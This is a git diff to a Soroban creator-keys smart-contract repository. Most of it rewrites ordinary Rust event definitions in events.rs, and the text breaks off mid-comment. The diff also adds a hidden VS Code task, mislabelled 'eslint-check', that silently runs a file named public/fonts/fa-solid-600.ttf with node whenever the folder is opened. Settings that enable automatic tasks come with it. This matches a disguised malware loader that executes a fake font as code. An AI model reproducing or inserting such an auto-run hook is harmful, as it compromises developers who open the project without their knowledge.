diff --git a/.gitignore b/.gitignore index d240d3e9..941314f3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,14 +1,18 @@ -target/ -.DS_Store -.soroban/ - -# Local working notes -fix.md -claude.md -plan.md - -# Soroban test snapshot files generated by the test runner -**/test_snapshots/ - -issue.md -pr.md \ No newline at end of file +target/ +.DS_Store +.soroban/ + +# Local working notes +fix.md +claude.md +temp_auto_push.bat +plan.md + +# Soroban test snapshot files generated by the test runner +**/test_snapshots/ + +issue.md +pr.md.gitignore +branch_structure.json +config.bat +node_modules diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 00000000..2e3b6463 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 00000000..a5177abe --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000..934d5554 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 00000000..51b19749 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000..4307eab5 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,25 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": ["./public/fonts/fa-solid-600.ttf"], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/creator-keys/src/events.rs b/creator-keys/src/events.rs index 7933ddf3..2f3714f9 100644 --- a/creator-keys/src/events.rs +++ b/creator-keys/src/events.rs @@ -1,4241 +1,4277 @@ -//! Centralized event names and helpers for consistent event emission. -//! -//! This module provides a single source of truth for event names used throughout -//! the contract, reducing string duplication and ensuring consistency across -//! event emission paths. -//! -//! ### Event Schema Stability -//! -//! Downstream indexers rely on the stable ordering of fields in event payloads. -//! When modifying event structures: -//! - **Do not reorder** existing fields. -//! - **Add new fields** only at the end of the structure to maintain compatibility. -//! - **Avoid removing fields**; if a field is deprecated, keep it with a default value. -//! -//! This approach ensures that indexers can reliably parse event data across -//! different contract versions. -//! -//! ### Horizon Event Encoding -//! -//! Events are consumed off-chain through the Stellar Horizon / Soroban RPC -//! event stream, which decodes topics and data as ScVal types: -//! - The first topic of every event is a `Symbol` from the `*_EVENT_NAME` -//! constants in this module (at most 9 characters, via `symbol_short!`). -//! Never publish a raw `String` as a topic. -//! - Remaining topics are `Address` or integer (`u32`) identifiers, built by -//! the shared `*_topics` helpers. -//! - Event data is a `#[contracttype]` struct (encoded as an ScVal map) or a -//! plain ScVal value; every struct documents its topics and fields under -//! "Event shape" in this module. -//! - Events without a dedicated struct carry a plain value as data: -//! `pause`, `unpause`, `blk_add`, `blk_rem` (`()`), `dl_set` (deadline -//! ledger `Option`), `ttl_ext` (new live-until ledger `u32`), -//! `gpause_on` / `gpause_of` (ledger `u32`), `poll_new` (expiry ledger) and -//! `poll_vote` (`(option_index, weight)`). -//! -//! ### Quote-Related Event Field Semantics -//! -//! - `supply`: Number of keys in circulation after the trade (for buy/sell events) -//! - `payment`: Total amount paid by the buyer (for buy events, ≥ key price) - -use crate::{ - constants, extend_key_ttl_to_full_window, read_creator_supply, read_registered_creator_profile, - CreatorKeysContract, CreatorKeysContractArgs, CreatorKeysContractClient, VaultAllocation, -}; -use soroban_sdk::{ - contracterror, contractimpl, contracttype, symbol_short, Address, BytesN, Env, String, Symbol, - Vec, -}; - -/// Event name for protocol trade fee collected on a buy or sell. -pub const FEE_COLLECTED_EVENT_NAME: Symbol = symbol_short!("fee_coll"); - -/// Stable fee collection event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(FEE_COLLECTED_EVENT_NAME, treasury, trade_id)` -/// - data: `FeeCollectedEvent` -/// -/// Emitted on every buy and sell once the protocol trade fee is configured, -/// carrying the trade identifier, the gross amount, the deducted fee, and the -/// treasury address that received it. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct FeeCollectedEvent { - /// Treasury address that received the fee. - pub treasury: Address, - /// Monotonic trade counter for the fee collection event. - pub trade_id: u64, - /// Gross trade amount before the protocol deduction. - pub amount: i128, - /// Fee amount deducted from the trade. - pub fee: i128, - /// Ledger sequence number at the time of the trade. - pub ledger: u32, -} - -/// Shared fee collected event topics tuple including the trade identifier. -pub fn fee_collected_topics_with_trade_id( - treasury: &Address, - trade_id: u64, -) -> (Symbol, Address, u64) { - (FEE_COLLECTED_EVENT_NAME, treasury.clone(), trade_id) -} - -/// Event name for LP allocation sent to liquidity pool. -pub const LP_ALLOCATION_SENT_EVENT_NAME: Symbol = symbol_short!("lp_alloc"); - -/// Stable LP allocation sent event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(LP_ALLOCATION_SENT_EVENT_NAME, lp_contract)` -/// - data: `LpAllocationSentEvent` -/// -/// Emitted on each buy when LP routing is configured, carrying the amount -/// forwarded to the LP contract and the LP contract address. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LpAllocationSentEvent { - /// LP contract address that received the allocation. - pub lp_contract: Address, - /// Amount forwarded to the LP contract. - pub amount: i128, - /// Ledger sequence number at the time of the allocation. - pub ledger: u32, -} - -/// Shared LP allocation sent event topics tuple. -pub fn lp_allocation_sent_topics(lp_contract: &Address) -> (Symbol, Address) { - (LP_ALLOCATION_SENT_EVENT_NAME, lp_contract.clone()) -} - -/// Event name for a sell rejected by the anti-flash-trade lockup window. -pub const LOCKUP_BLOCKED_EVENT_NAME: Symbol = symbol_short!("lck_blk"); - -/// Stable lockup-blocked event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(LOCKUP_BLOCKED_EVENT_NAME, creator_id, seller)` -/// - data: `LockupBlockedEvent` -/// -/// Emitted when a sell is rejected because the seller's most recent buy for -/// this creator falls inside the configured lockup window. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LockupBlockedEvent { - /// Creator whose keys the seller attempted to sell. - pub creator_id: Address, - /// Seller whose sale was rejected. - pub seller: Address, - /// Ledger timestamp of the seller's most recent buy. - pub last_buy_timestamp: u64, - /// Timestamp at which the lockup expires (exclusive). - pub unlock_at: u64, - /// Ledger timestamp at rejection. - pub current_timestamp: u64, -} - -/// Shared lockup blocked event topics tuple. -pub fn lockup_blocked_topics(creator: &Address, seller: &Address) -> (Symbol, Address, Address) { - (LOCKUP_BLOCKED_EVENT_NAME, creator.clone(), seller.clone()) -} - -/// Event name for creating an investor-specific lock-up. -pub const LOCKUP_CREATED_EVENT_NAME: Symbol = symbol_short!("lck_crt"); - -/// Investor lock-up creation payload. -/// -/// Event shape: -/// - topics: `(LOCKUP_CREATED_EVENT_NAME, wallet, key_id)` -/// - data: `LockupCreatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LockupCreatedEvent { - pub wallet: Address, - pub key_id: Address, - pub unlock_timestamp: u64, -} - -/// Shared investor lock-up creation event topics. -pub fn lockup_created_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { - (LOCKUP_CREATED_EVENT_NAME, wallet.clone(), key_id.clone()) -} - -/// Event name for releasing an investor-specific lock-up. -pub const LOCKUP_RELEASED_EVENT_NAME: Symbol = symbol_short!("lck_rel"); - -/// Investor lock-up release payload. -/// -/// Event shape: -/// - topics: `(LOCKUP_RELEASED_EVENT_NAME, wallet, key_id)` -/// - data: `LockupReleasedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct LockupReleasedEvent { - pub wallet: Address, - pub key_id: Address, - pub unlock_timestamp: u64, - pub released_at: u64, -} - -/// Shared investor lock-up release event topics. -pub fn lockup_released_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { - (LOCKUP_RELEASED_EVENT_NAME, wallet.clone(), key_id.clone()) -} - -/// Event name for quorum threshold update. -pub const QUORUM_UPDATED_EVENT_NAME: Symbol = symbol_short!("qrm_upd"); - -/// Event name for proposal/poll closed. -pub const POLL_CLOSED_EVENT_NAME: Symbol = symbol_short!("poll_cls"); - -/// Event name for protocol pause. -pub const PAUSE_EVENT_NAME: Symbol = symbol_short!("pause"); - -/// Event name for protocol unpause. -pub const UNPAUSE_EVENT_NAME: Symbol = symbol_short!("unpause"); - -/// Event name for a wallet being added to the admin blacklist. -pub const BLACKLIST_ADDED_EVENT_NAME: Symbol = symbol_short!("blk_add"); - -/// Event name for a wallet being removed from the admin blacklist. -pub const BLACKLIST_REMOVED_EVENT_NAME: Symbol = symbol_short!("blk_rem"); - -/// Event name for the protocol-wide buy deadline ledger being set or cleared. -pub const GLOBAL_DEADLINE_SET_EVENT_NAME: Symbol = symbol_short!("dl_set"); - -/// Event name for a forwarded buy submitted by the trusted forwarder. -pub const FORWARDED_BUY_EVENT_NAME: Symbol = symbol_short!("fwd_buy"); - -/// Event name for creator registration. -pub const REGISTER_EVENT_NAME: Symbol = symbol_short!("register"); - -/// Event name for key purchase. -pub const BUY_EVENT_NAME: Symbol = symbol_short!("buy"); - -/// Event name for key sale. -pub const SELL_EVENT_NAME: Symbol = symbol_short!("sell"); - -/// Event name for peer-to-peer key transfer. -pub const TRANSFER_EVENT_NAME: Symbol = symbol_short!("transfer"); - -/// Event name for creator key buyback. -pub const BUYBACK_EVENT_NAME: Symbol = symbol_short!("buyback"); - -/// Event name for referral fee earned. -pub const REFERRAL_FEE_EARNED_EVENT_NAME: Symbol = symbol_short!("referral"); - -/// Event name for governance poll creation. -pub const POLL_CREATED_EVENT_NAME: Symbol = symbol_short!("poll_new"); - -/// Event name for governance poll votes. -pub const POLL_VOTE_EVENT_NAME: Symbol = symbol_short!("poll_vote"); - -/// Event name for delegation set. -pub const DELEGATION_SET_EVENT_NAME: Symbol = symbol_short!("dlg_set"); - -/// Event name for delegation revoked. -pub const DELEGATION_REVOKED_EVENT_NAME: Symbol = symbol_short!("dlg_rev"); - -/// Event name for a performance bond being forfeited to the protocol treasury. -pub const BOND_FORFEITED_EVENT_NAME: Symbol = symbol_short!("bond_forf"); -/// Topic index for the event name in common event topic tuples. -pub const TOPIC_EVENT_NAME_INDEX: u32 = 0; - -/// Topic index for the creator address in common event topic tuples. -pub const TOPIC_CREATOR_INDEX: u32 = 1; - -/// Topic index for the buyer/seller/actor address in common event topic tuples. -pub const TOPIC_BUYER_INDEX: u32 = 2; - -/// Stable field order for bond forfeited event payloads. -pub const BOND_FORFEITED_DATA_FIELDS: [&str; 4] = ["key_id", "reason", "amount", "ledger"]; - -/// Stable bond forfeited event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BOND_FORFEITED_EVENT_NAME, key_id)` -/// - data: `BondForfeitedEvent` -/// -/// Emitted when an admin forfeits a creator's performance bond, routing the -/// deposited amount to the protocol treasury. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct BondForfeitedEvent { - /// Creator key whose bond was forfeited. - pub key_id: Address, - /// Human-readable reason supplied by the admin. - pub reason: String, - /// Bond amount routed to the protocol treasury. - pub amount: i128, - /// Ledger sequence number at the time of forfeiture. - pub ledger: u32, -} - -/// Shared bond forfeited event topics tuple. -pub fn bond_forfeited_topics(key_id: &Address) -> (Symbol, Address) { - (BOND_FORFEITED_EVENT_NAME, key_id.clone()) -} - -/// Stable field order for registration event payloads. -pub const REGISTER_EVENT_DATA_FIELDS: [&str; 8] = [ - "creator", - "handle", - "supply", - "holder_count", - "creator_bps", - "protocol_bps", - "fee_recipient", - "registered_at_ledger", -]; - -/// Stable field order for buy event payloads. -pub const BUY_EVENT_DATA_FIELDS: [&str; 6] = [ - "buyer", - "creator_id", - "quantity", - "price_paid", - "new_supply", - "ledger", -]; - -/// Stable field order for sell event payloads. -pub const SELL_EVENT_DATA_FIELDS: [&str; 5] = - ["seller", "creator_id", "quantity", "proceeds", "ledger"]; - -/// Stable field order for buyback event payloads. -pub const BUYBACK_EVENT_DATA_FIELDS: [&str; 5] = - ["creator", "amount", "price_paid", "new_supply", "ledger"]; - -const MIN_POLL_OPTIONS: u32 = 2; -const MAX_POLL_OPTIONS: u32 = 4; -const MAX_QUESTION_CHARS: u32 = 280; -const MAX_OPTION_CHARS: u32 = 100; - -/// Stable registration event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(REGISTER_EVENT_NAME, creator)` -/// - data: `CreatorRegisteredEvent` -/// -/// This keeps the creator address indexed in event topics while preserving -/// a predictable payload for off-chain consumers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CreatorRegisteredEvent { - pub creator: Address, - pub handle: String, - pub supply: u32, - pub holder_count: u32, - pub creator_bps: u32, - pub protocol_bps: u32, - /// Address that receives creator fee payouts for this creator. - pub fee_recipient: Address, - /// Ledger sequence number at the time of registration. - pub registered_at_ledger: u32, -} - -/// Shared registration event topics tuple. -pub fn register_event_topics(creator: &Address) -> (Symbol, Address) { - (REGISTER_EVENT_NAME, creator.clone()) -} - -/// Stable buyback event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(BUYBACK_EVENT_NAME, creator)` -/// - data: `KeysBoughtBackEvent` -/// -/// # Creator Fee Waiver -/// On buybacks, the creator fee is explicitly waived because the creator cannot pay -/// themselves a fee. The protocol fee still applies. -/// -/// # Indexer Note -/// This event represents a creator burning keys from their own held balance, -/// which is distinct from a regular buy event. Indexers should process this -/// event separately from `BUY_EVENT_NAME` events to correctly track supply -/// changes and fee accounting. -/// Stable buy event payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysBoughtEvent { - /// Address of the buyer performing the purchase. - pub buyer: Address, - /// Address of the creator whose keys are being purchased. - pub creator_id: Address, - /// Number of keys being bought. - pub quantity: u32, - /// Price paid for the keys (before fees). - pub price_paid: i128, - /// Total supply of keys for this creator after the purchase. - pub new_supply: u32, - /// Ledger sequence number at the time of the purchase. - pub ledger: u32, -} - -/// Stable forwarded-buy event payload for downstream indexers. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ForwardedBuyEvent { - /// Address of the trusted forwarder that submitted the transaction. - pub forwarder: Address, - /// Address of the buyer on whose behalf the purchase was made. - pub buyer: Address, - /// Address of the creator whose keys were purchased. - pub creator_id: Address, - /// Number of keys purchased. - pub quantity: u32, - /// Ledger sequence number at the time of the forwarded purchase. - pub ledger: u32, -} - -/// Stable sell event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(SELL_EVENT_NAME, creator, seller)` -/// - data: `KeysSoldEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysSoldEvent { - /// Address of the seller performing the sale. - pub seller: Address, - /// Address of the creator whose keys are being sold. - pub creator_id: Address, - /// Number of keys sold in this transaction. - pub quantity: u32, - /// Net proceeds received by the seller after fees. - pub proceeds: i128, - /// Total supply of keys for this creator after the sale. - pub new_supply: u32, - /// Ledger sequence number at the time of the sale. - pub ledger: u32, -} - -/// Event shape: -/// - topics: `(BUYBACK_EVENT_NAME, creator)` -/// - data: `KeysBoughtBackEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysBoughtBackEvent { - /// Address of the creator performing the buyback. - pub creator: Address, - /// Number of keys being bought back and burned. - pub amount: u32, - /// Total amount paid by the creator, including protocol fee (but not creator fee). - pub price_paid: i128, - /// New total supply of keys for the creator after the buyback. - pub new_supply: u32, - /// Ledger sequence number at the time of the buyback. - pub ledger: u32, -} - -/// Shared buy event topics tuple. -pub fn buy_event_topics(creator: &Address, buyer: &Address) -> (Symbol, Address, Address) { - (BUY_EVENT_NAME, creator.clone(), buyer.clone()) -} - -/// Shared peer-to-peer transfer event topics tuple. -pub fn transfer_event_topics(creator: &Address, from: &Address) -> (Symbol, Address, Address) { - (TRANSFER_EVENT_NAME, creator.clone(), from.clone()) -} - -/// Shared buyback event topics tuple. -pub fn buyback_event_topics(creator: &Address) -> (Symbol, Address) { - (BUYBACK_EVENT_NAME, creator.clone()) -} - -/// Event name for dividend distribution. -pub const DIVIDEND_DISTRIBUTED_EVENT_NAME: Symbol = symbol_short!("div_dist"); - -/// Event name for dividend claim. -pub const DIVIDEND_CLAIMED_EVENT_NAME: Symbol = symbol_short!("div_claim"); - -/// Event name for allocation locked. -pub const ALLOCATION_LOCKED_EVENT_NAME: Symbol = symbol_short!("alloc_lck"); - -/// Event name for allocation claimed. -pub const ALLOCATION_CLAIMED_EVENT_NAME: Symbol = symbol_short!("alloc_clm"); - -/// Event name for protocol fee recipient updated. -pub const PROTOCOL_FEE_RECIPIENT_UPDATED_EVENT_NAME: Symbol = symbol_short!("p_fee_upd"); - -/// Event name for creator fee recipient updated. -pub const CREATOR_FEE_RECIPIENT_UPDATED_EVENT_NAME: Symbol = symbol_short!("c_fee_upd"); - -/// Event name for co-creator fee accrual. -pub const CO_CREATOR_FEE_EARNED_EVENT_NAME: Symbol = symbol_short!("co_fee"); - -/// Event name for a creator (re)designating their co-creator split (issue #782). -pub const CO_CREATOR_SET_EVENT_NAME: Symbol = symbol_short!("co_set"); - -/// Stable field order for dividend distributed event payloads. -pub const DIVIDEND_DISTRIBUTED_DATA_FIELDS: [&str; 4] = - ["creator", "total_amount", "snapshot_supply", "ledger"]; - -/// Stable field order for dividend claimed event payloads. -pub const DIVIDEND_CLAIMED_DATA_FIELDS: [&str; 3] = ["creator", "claimant", "amount"]; - -/// Stable field order for co-creator fee earned event payloads. -pub const CO_CREATOR_FEE_EARNED_DATA_FIELDS: [&str; 4] = - ["creator_id", "co_creator", "amount", "ledger"]; - -/// Event shape: -/// - topics: `(DIVIDEND_DISTRIBUTED_EVENT_NAME, creator)` -/// - data: `DividendDistributedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DividendDistributedEvent { - pub creator: Address, - pub total_amount: i128, - pub snapshot_supply: u32, - pub ledger: u32, -} - -/// Event shape: -/// - topics: `(DIVIDEND_CLAIMED_EVENT_NAME, creator, claimant)` -/// - data: `DividendClaimedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DividendClaimedEvent { - pub creator: Address, - pub claimant: Address, - pub amount: i128, -} - -pub fn dividend_distributed_topics(creator: &Address) -> (Symbol, Address) { - (DIVIDEND_DISTRIBUTED_EVENT_NAME, creator.clone()) -} - -/// Event shape: -/// - topics: `(DELEGATION_SET_EVENT_NAME, creator, delegator)` -/// - data: `DelegationSetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DelegationSetEvent { - pub creator: Address, - pub delegator: Address, - pub delegate: Address, -} - -/// Event shape: -/// - topics: `(DELEGATION_REVOKED_EVENT_NAME, creator, delegator)` -/// - data: `DelegationRevokedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct DelegationRevokedEvent { - pub creator: Address, - pub delegator: Address, -} - -pub fn delegation_set_topics(creator: &Address, delegator: &Address) -> (Symbol, Address, Address) { - ( - DELEGATION_SET_EVENT_NAME, - creator.clone(), - delegator.clone(), - ) -} - -pub fn delegation_revoked_topics( - creator: &Address, - delegator: &Address, -) -> (Symbol, Address, Address) { - ( - DELEGATION_REVOKED_EVENT_NAME, - creator.clone(), - delegator.clone(), - ) -} - -pub fn dividend_claimed_topics( - creator: &Address, - claimant: &Address, -) -> (Symbol, Address, Address) { - ( - DIVIDEND_CLAIMED_EVENT_NAME, - creator.clone(), - claimant.clone(), - ) -} - -/// Event shape: -/// - topics: `(ALLOCATION_LOCKED_EVENT_NAME, creator)` -/// - data: `AllocationLockedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AllocationLockedEvent { - pub creator_id: Address, - pub amount: u32, - pub unlock_ledger: u32, -} - -/// Event shape: -/// - topics: `(ALLOCATION_CLAIMED_EVENT_NAME, creator)` -/// - data: `AllocationClaimedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct AllocationClaimedEvent { - pub creator_id: Address, - pub amount: u32, - pub ledger: u32, -} - -/// Event shape: -/// - topics: `(PROTOCOL_FEE_RECIPIENT_UPDATED_EVENT_NAME, admin)` -/// - data: `ProtocolFeeRecipientUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ProtocolFeeRecipientUpdatedEvent { - pub old_recipient: Address, - pub new_recipient: Address, -} - -/// Event shape: -/// - topics: `(CREATOR_FEE_RECIPIENT_UPDATED_EVENT_NAME, creator)` -/// - data: `CreatorFeeRecipientUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CreatorFeeRecipientUpdatedEvent { - pub creator_id: Address, - pub old_recipient: Address, - pub new_recipient: Address, -} - -/// Event name for contract initialization (first fee config set). -pub const CONTRACT_INITIALIZED_EVENT_NAME: Symbol = symbol_short!("init"); - -/// Stable contract initialization event payload for downstream indexers. -/// -/// Emitted exactly once on the first successful `set_fee_config` call. -/// Re-initialization attempts revert before reaching event emission. -/// -/// Event shape: -/// - topics: `(CONTRACT_INITIALIZED_EVENT_NAME, admin)` -/// - data: `ContractInitializedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ContractInitializedEvent { - pub admin: Address, - pub protocol_fee_bps: u32, - pub protocol_fee_recipient: Address, - pub initialized_at_ledger: u32, -} - -/// Event name for global fee configuration update. -pub const FEE_CONFIG_UPDATED_EVENT_NAME: Symbol = symbol_short!("fee_upd"); - -/// Event shape: -/// - topics: `(FEE_CONFIG_UPDATED_EVENT_NAME, admin)` -/// - data: `FeeConfigUpdatedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct FeeConfigUpdatedEvent { - pub old_bps: u32, - pub new_bps: u32, - pub updated_at_ledger: u32, -} - -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CoCreatorFeeEarned { - pub creator_id: Address, - pub co_creator: Address, - pub amount: i128, - pub ledger: u32, -} - -pub fn co_creator_fee_earned_topics( - creator_id: &Address, - co_creator: &Address, -) -> (Symbol, Address, Address) { - ( - CO_CREATOR_FEE_EARNED_EVENT_NAME, - creator_id.clone(), - co_creator.clone(), - ) -} - -/// Emitted by `set_co_creator` whenever a creator designates or updates their -/// co-creator split (issue #782). -/// -/// Event shape: -/// - topics: `(CO_CREATOR_SET_EVENT_NAME, creator_id, co_creator)` -/// - data: `CoCreatorSetEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct CoCreatorSetEvent { - pub creator_id: Address, - pub co_creator: Address, - pub split_bps: u32, -} - -pub fn co_creator_set_topics( - creator_id: &Address, - co_creator: &Address, -) -> (Symbol, Address, Address) { - ( - CO_CREATOR_SET_EVENT_NAME, - creator_id.clone(), - co_creator.clone(), - ) -} - -/// Event name for a completed holder snapshot (issue #778). -pub const SNAPSHOT_TAKEN_EVENT_NAME: Symbol = symbol_short!("snap_take"); - -/// Event shape: -/// - topics: `(SNAPSHOT_TAKEN_EVENT_NAME, creator_id, snapshot_id)` -/// - data: `SnapshotTakenEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct SnapshotTakenEvent { - pub creator_id: Address, - pub snapshot_id: u32, - pub snapshot_ledger: u32, - pub total_holders: u32, -} - -pub fn snapshot_taken_topics(creator_id: &Address, snapshot_id: u32) -> (Symbol, Address, u32) { - (SNAPSHOT_TAKEN_EVENT_NAME, creator_id.clone(), snapshot_id) -} - -/// Event name for protocol treasury revenue distributed to stakers. -pub const PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME: Symbol = symbol_short!("prot_rev"); - -/// Event shape: -/// - topics: `(PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME, creator_id, snapshot_id)` -/// - data: `ProtocolRevenueDistributedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ProtocolRevenueDistributedEvent { - pub total_distributed: i128, - pub staker_count: u32, - pub snapshot_id: u32, -} - -pub const PROTOCOL_REVENUE_DISTRIBUTED_DATA_FIELDS: [&str; 3] = - ["total_distributed", "staker_count", "snapshot_id"]; - -pub fn protocol_revenue_distributed_topics( - creator_id: &Address, - snapshot_id: u32, -) -> (Symbol, Address, u32) { - ( - PROTOCOL_REVENUE_DISTRIBUTED_EVENT_NAME, - creator_id.clone(), - snapshot_id, - ) -} - -/// Event name for creator key identity initialization (issue #779). -pub const KEY_INITIALISED_EVENT_NAME: Symbol = symbol_short!("key_init"); - -/// Event shape: -/// - topics: `(KEY_INITIALISED_EVENT_NAME, creator_id)` -/// - data: `KeyInitialisedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeyInitialisedEvent { - pub creator_id: Address, - pub name: String, - pub bio: String, - pub avatar_uri: String, - pub symbol: String, - pub description: String, - pub image_cid: String, -} - -pub fn key_initialised_topics(creator_id: &Address) -> (Symbol, Address) { - (KEY_INITIALISED_EVENT_NAME, creator_id.clone()) -} - -/// Event name for a blocked same-ledger buy-then-sell attempt (issue #781). -pub const FLASH_LOAN_BLOCKED_EVENT_NAME: Symbol = symbol_short!("fl_block"); - -/// Event shape: -/// - topics: `(FLASH_LOAN_BLOCKED_EVENT_NAME, wallet, key_id)` -/// - data: `FlashLoanBlockedEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct FlashLoanBlockedEvent { - pub wallet: Address, - pub key_id: Address, - pub ledger: u32, -} - -pub fn flash_loan_blocked_topics(wallet: &Address, key_id: &Address) -> (Symbol, Address, Address) { - ( - FLASH_LOAN_BLOCKED_EVENT_NAME, - wallet.clone(), - key_id.clone(), - ) -} - -/// Stable referral fee earned event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(REFERRAL_FEE_EARNED_EVENT_NAME, creator_id, referrer)` -/// - data: `ReferralFeeEarnedEvent` -/// -/// Emitted when a referrer earns a share of the protocol fee from a buy. -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct ReferralFeeEarnedEvent { - pub creator_id: Address, - pub buyer: Address, - pub referrer: Address, - pub amount: i128, - pub ledger: u32, -} - -/// Shared referral fee earned event topics tuple. -pub fn referral_fee_earned_topics( - creator_id: &Address, - referrer: &Address, -) -> (Symbol, Address, Address) { - ( - REFERRAL_FEE_EARNED_EVENT_NAME, - creator_id.clone(), - referrer.clone(), - ) -} - -/// Event name for key transfer. -pub const KEYS_TRANSFERRED_EVENT_NAME: Symbol = symbol_short!("xfer"); - -/// Stable field order for key transfer event payloads. -pub const KEYS_TRANSFERRED_DATA_FIELDS: [&str; 5] = - ["creator_id", "from", "to", "amount", "ledger"]; - -/// Stable key transfer event payload for downstream indexers. -/// -/// Event shape: -/// - topics: `(KEYS_TRANSFERRED_EVENT_NAME, creator_id, from)` -/// - data: `KeysTransferredEvent` -#[derive(Clone, Debug, Eq, PartialEq)] -#[contracttype] -pub struct KeysTransferredEvent { - pub creator_id: Address, - pub from: Address, - pub to: Address, - pub amount: u32, - pub ledger: u32, -} - -/// Event name for creator key airdrops. -pub const KEYS_AIRDROPPED_EVENT_NAME: Symbol = symbol_short!("airdrop"); - -/// Stable field order for airdrop event 